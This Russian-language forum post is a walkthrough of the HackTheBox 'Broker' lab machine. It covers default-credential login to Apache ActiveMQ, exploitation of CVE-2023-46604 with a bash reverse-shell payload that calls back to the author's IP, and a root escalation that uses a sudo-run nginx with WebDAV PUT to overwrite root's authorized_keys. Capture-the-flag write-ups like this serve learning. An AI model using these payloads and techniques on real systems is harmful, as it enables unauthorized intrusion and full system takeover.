PDA

Просмотр полной версии : Прохождение HackTheBox - Broker (Linux, Easy)


Trager
10.12.2023, 17:34
https://forum.antichat.xyz/attachments/29108898/1702213708786.png
Друзья, всем привет! Сегодня пройдём лёгкую

Linux

-машину с площадки

HackTheBox

. Приятного чтения!

Разведка

Сканируем порты, используем флаг

-sC

, чтобы использовать стандартные скрипты,

-sV

, чтобы определить сервисы открытых портов:

Bash:



nmap -sC -sV -oN nmap.out
10.10
.11.243


Bash:



PORT STATE SERVICE VERSION
22
/tcp
open
ssh
OpenSSH
8
.9p1 Ubuntu 3ubuntu0.4
(
Ubuntu Linux
;
protocol
2.0
)
|
ssh-hostkey:
|
256
3eea454bc5d16d6fe2d4d13b0a3da94f
(
ECDSA
)
|
_
256
64cc75de4ae6a5b473eb3f1bcfb4e394
(
ED25519
)
80
/tcp
open
http nginx
1.18
.0
(
Ubuntu
)
|
http-auth:
|
HTTP/1.1
401
Unauthorized
\
x0D
|
_ basic
realm
=
ActiveMQRealm
|
_http-server-header: nginx/1.18.0
(
Ubuntu
)
|
_http-title: Error
401
Unauthorized
Service Info: OS: Linux
;
CPE: cpe:/o:linux:linux_kernel


Имеется два открытых

TCP

-порта:

22

и

80

. Перейдём на

80

-ый порт:

https://forum.antichat.xyz/attachments/29108898/1702213830444.png

Требуется ввести имя пользователя и пароль. В случае, если они неверны, то вылетает

401 Unauthorized

. Из сканирования

nmap’а

можно понять, что используется

Apache ActiveMQ

. Таким образом мы можем загуглить имя пользователя/пароль, которые изначально установлены:

https://forum.antichat.xyz/attachments/29108898/1702213848862.png

Указываем

admin:admin

и попадаем в панель:

https://forum.antichat.xyz/attachments/29108898/1702213861017.png

Перейдя в

/admin/

, мы можем узнать версию сервиса

Apache ActiveMQ

:

https://forum.antichat.xyz/attachments/29108898/1702213872467.png

Гуглим версию с названием сервиса и натыкаемся на CVE-2023-46604:

https://forum.antichat.xyz/attachments/29108898/1702213898828.png

Мы также можем воспользоваться данным эксплойтом для получения первичного доступа (

www-data

):

https://forum.antichat.xyz/attachments/29108898/1702213915985.png

Важно отметить, что для его работы Вам требуется установленный компилятор

Go

. Также можете воспользоваться эксплойтом на python. В

GitHub

-проекте есть несколько файлов:

main.go

- сама программа, а

poc.xml

-

XML

-файл с полезной нагрузкой. Последний сделан для того, чтобы продемонстрировать наличие уязвимости:

https://forum.antichat.xyz/attachments/29108898/1702213930973.png

Поэтому нам нужно его изменить на:

XML:




bash

-c

bash -i
>
&
/dev/tcp/10.10.16.108/9898 0
>
&
1



*

10.10.16.108

- мой

IP

-адрес,

9898

- мой порт на листенере

nc

.

Теперь нам понадобятся три сессии терминала:

В первой

(1)

мы поднимем веб-сервер

python

на

8000

порту - через него уязвимый сервер с помощью эксплойта сможет получить доступ к

poc.xml

, который располагается у нас на хосте.

Во второй

(2)

поднимаем листенер на

9898

, чтобы получить реверс шелл.

В третьей

(3)

запускаем сам эскплоит через

go

с указанием уязвимого сервера (опция

-i

) и ссылки на на

poc.xml

.


https://forum.antichat.xyz/attachments/29108898/1702213983627.png

Запускаем всё и получаем сессию от имени пользователя

www-data

:

https://forum.antichat.xyz/attachments/29108898/1702214003499.png

На данном этапе Вы уже можете прочитать

user.txt

.

Взятие пользователя

После того, как мы получили первичный доступ, используем стандартную команду

sudo -l

, чтобы узнать какие команды от лица

www-data

мы можем запускать без пароля с правами суперпользователя:

https://forum.antichat.xyz/attachments/29108898/1702214049237.png

Исходя из вывода, мы можем таким образом запустить веб-сервер

nginx

. Самый простой вариант - сделать

nginx.conf

и запустить

nginx

на каком-нибудь порту, например,

9899

, затем просто прочитать файл

root.txt

. Но мы немного усложним и пройдём машину так, чтобы получить удалённый доступ от лица пользователя

root

. Немного покопавшись в гугле, можно найти следующую статью:

https://forum.antichat.xyz/attachments/29108898/1702214060944.png

В ней есть примеры

nginx.conf’а

, которые помогут нам сделать эксплоит:

https://forum.antichat.xyz/attachments/29108898/1702214070769.png

1. Создаём

nginx.conf

со следующим содержимым (порт Вы можете изменить):

user root; - устанавливает пользователя, от имени которого будет работать процесс

nginx

. В данном случае, установлен пользователь

root

, что означает, что

nginx

будет работать с правами суперпользователя.

events { worker_connections 500; } - задает параметры для обработки событий воркерами

nginx

. В данном случае, установлено значение

worker_connections

равным

500

, что определяет максимальное количество одновременных соединений, которые может обрабатывать один воркер.

http { ... } - объявляет блок конфигурации для настроек

HTTP

-сервера.

server { ... } - объявляет блок конфигурации для настроек виртуального сервера внутри блока

http

.

listen 9899; - устанавливает порт, на котором сервер будет слушать входящие соединения. В данном случае, сервер будет слушать порт

9899

.

root /; - устанавливает корневую директорию (

/

) для этого виртуального сервера.

dav_methods PUT; - включает поддержку метода

HTTP PUT

для данного сервера. Метод

PUT

позволяет клиентам загружать файлы на сервер.
2. Поднимем веб-сервер

python

на

8000

порту.
3. Загрузим в

/tmp

созданный нами файл

nginx.conf

с помощью веб-сервера

python

.
4. Запустим

nginx

с правами суперпользователя, используя опцию

-c

, чтобы указать путь к конфигурационному файлу.
5. Используем

curl

, чтобы убедиться в том, что веб-сервер заработал на указанном порту.

План действий таков: перезапишем

authorized_keys

в каталоге

/root/.ssh/

на атакуемой машине (т.к. веб-сервер подняли с правами суперпользователя и указали в конфиге, что работа идёт от

root

), чтобы подключиться по

SSH

от лица пользователя

root

без пароля.

Для начала сгенерируем

SSH

-ключи на нашей машине с помощью

ssh-keygen

:

https://forum.antichat.xyz/attachments/29108898/1702214141534.png

Прочитаем и скопируем публичный ключ

id_rsa.pub

:

https://forum.antichat.xyz/attachments/29108898/1702214154151.png

И сделаем следующий

PUT

-запрос с помощью

curl

:

Bash:



curl
-X PUT http://10.10.11.243:9899/root/.ssh/authorized_keys --data
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtcJKegrmZIW6DUp02zv XRacBkkk2YOQlMRztFaK6oRh2fMPTPUfClYiLHSiJkgS8cSF+K affPPJvobdsU56pVnuSESJCNLPDuuL65IXJDqh6kFNjpcN3RzE fFw2u0Xzv7iqxBFnGp92MzKI7izs0UJaNLc4v6rj0I3jQFyjR6 jNXtSy/NiZwm6pT2Sv+qMpjlNLW6iOCDIouT7Jja/Y93x5QS6vUz/b/X1HUuchkJSJz2K3IKgUvTGJfvzuw5ihLKC+7lv8gNubOKsq3Wz OoJublJyOM158bn27pZTIlianuNfHaGeFmKRiyOCFtJeg4guQZ ZaMkcNu/4IDDe6xfwWbF5DNradDeDZ7hfQDOF1HHVp0vclRseUgiPOUigb jCpWt0kSiwtBoUVLCTVXpX79CrGXoDQFi82otRTBslDe8dRfyf N58fE13JKzXI5VYFzQCwZk9QoDSksGjIP5OfMu1LM5L0zZ66cT shF/2jk75B3GkIfT0d48vJPgYsRHJc= trager@hackmachine"


https://forum.antichat.xyz/attachments/29108898/1702214178778.png

После отправки запроса пробуем подключиться к

10.10.11.243

от лица

root

:

https://forum.antichat.xyz/attachments/29108898/1702214194131.png

Успех! Получаем

root

-флаг.

Друзья, большое спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях =D